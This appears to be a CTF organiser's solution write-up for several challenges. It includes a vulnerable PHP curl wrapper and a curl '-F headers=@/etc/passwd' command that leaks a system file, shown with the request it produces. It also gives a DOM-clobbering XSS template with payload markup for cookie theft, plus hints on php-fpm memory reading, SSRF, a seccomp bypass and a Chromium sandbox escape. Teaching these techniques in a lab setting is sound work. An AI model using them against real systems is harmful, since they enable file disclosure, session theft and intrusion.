You can find the challenge links and exploit here.
This challenge was the welcome web challenge. The purpose of this challenge was to make players read the documents of curl and find a little-known curl feature to read /flag.txt
.
<?php
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
die('curl :thonk:');
}
$url = 'http://localhost';
$method = 'GET';
$formParams = [];
if(isset($_GET['url'])){
$url = $_GET['url'];
}
if(isset($_GET['method'])){
$method = $_GET['method'];
}
if(isset($_GET['formParams'])){
$formParams = $_GET['formParams'];
}
$cmd = 'curl ';
$cmd .= '--proto -file ';
$cmd .= escapeshellarg($url).' ';
$cmd .= '-X ';
$cmd .= escapeshellarg($method).' ';
foreach($formParams as $key => $value){
if(preg_match("/^\w+$/",$key)){
$cmd .= '-F ';
$cmd .= escapeshellarg($key.'= '.$value);
}
}
header('Content-Type: text/plain');
system($cmd);
After reviewing the challenge, one might think about the "Files as form paramter" feature of curl. For example -F A=@/etc/passwd
embeds the content of /etc/passwd
to the request.
But there is a space after the equal sign so this trick won't work.
when doing
-F 'A= @/etc/passwd'
, curl interprets@/etc/passwd
as a string not a file.
There is a section in curl man page that explains about a feature in handling -F parameters.
curl -F "submit=OK;headers=@/etc/passwd" example.com
The above command sends the content of /etc/passwd
as the header of submit
form parameter.
So if i do:
curl localhost:9000 -F 'a=A;headers=@/etc/passwd'
the following request will be sent to localhost:9000
POST / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 3188
Content-Type: multipart/form-data; boundary=------------------------9ab2bbf7a3389b38
--------------------------9ab2bbf7a3389b38
Content-Disposition: form-data; name="a"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
A
--------------------------9ab2bbf7a3389b38--
I was expecting around 5 solves for this challenge but it turned out to be easier than i expected. It was because it was solvable without the "little-known trick" i had in mind. Nevertheless, I think it was a good challenge for more experienced beginners since the trick to solve this is documented by a website with a great SEO ranking (portswigger blog).
<!--
csp: default-src 'self'; script-src 'unsafe-eval' 'nonce-$nonce$'
-->
<html>
<head>
<title>hi</title>
</head>
<body>
<h1>definitely not vulnerable to XSS</h1>
<div>
$html_injection$
</div>
<script nonce="$nonce$">
try{
eval(window.h.a.p.p.y._.n.e.w._.y.e.a.r._.h.a.c.k.e.r.s.toString())
}catch(e){}
</script>
</body>
</html>
There is a html injection vulnerablity in this page and the player should steal the cookies. Injecting script or event-based payloads don't work because of the csp.
DOM Clobbering has become well-known in the past years so it shouldn't be hard to figure out that the window.h.a.p.p.y...
property should be clobbered ( if you have experience about client-side stuff of course ).
To clobber that many property levels, the player needs to find out about the nested iframe technique. This blogpost by portswigger mentions that normally, when you inject your html payload, the script can't access the properties that are inside the iframe because they are not rendered by chrome. The blogpost also mentions a way to solve this issue which is using "style imports" in a style tag. I wanted to disallow players to use this "style imports" technique so i blocked the usage of inline-css with csp. The intended way to solve this is using the "blocking" attribute of link tags.
<iframe srcdoc="oh"></iframe>
</iframe>
<link blocking="render" href="critical-font.woff2" as="font"/>
<script>/*script*/</script>
The above link tag stops the html-rendering while fetching the font so it gives the iframe an enough time to render. But it was also possible to solve this by injecting many stylesheet link tags which i thought it's not possible.
The php-fpm binary is patched to prevent players from using "PHP_ADMIN" fcgi exploits. php fpm has a feature that lets you read the body of the request from a file. Basically php reads the body from a file if the REQUEST_BODY_FILE
env parameter exists. You can find the implementation here.
But you can't read the body normally since the RCE parameter is also using POST parameters. The way to do this is reading the memory of a process that is handling the POST request that contains the flag. There is some sort of race condition here. Please refer to the exploit for further information.
CNAME response can contain slashes so you can hit the internal endpoint!
The trick to read the response from the flag server is that you have to pad your response to 1024*1024 characters and then append the flag at the end of the response. The response is sliced so the response can have your known body plus the first char of flag.
You have to develop an exploit for this 1 day bug https://github.com/jerryscript-project/jerryscript/pull/4794
You can crash the binary by doing the following job in a loop
pid = fork() -> kill(pid,9) -> waitpid(pid,&wstatus,-1)
And then you can register your own seccomp listener and bypass the execve checks!
this issue shows that clipboard data is not protected by sandbox. The chromium is outdated so you can use this public exploit to enable mojo and read the clipboard with a mojo request.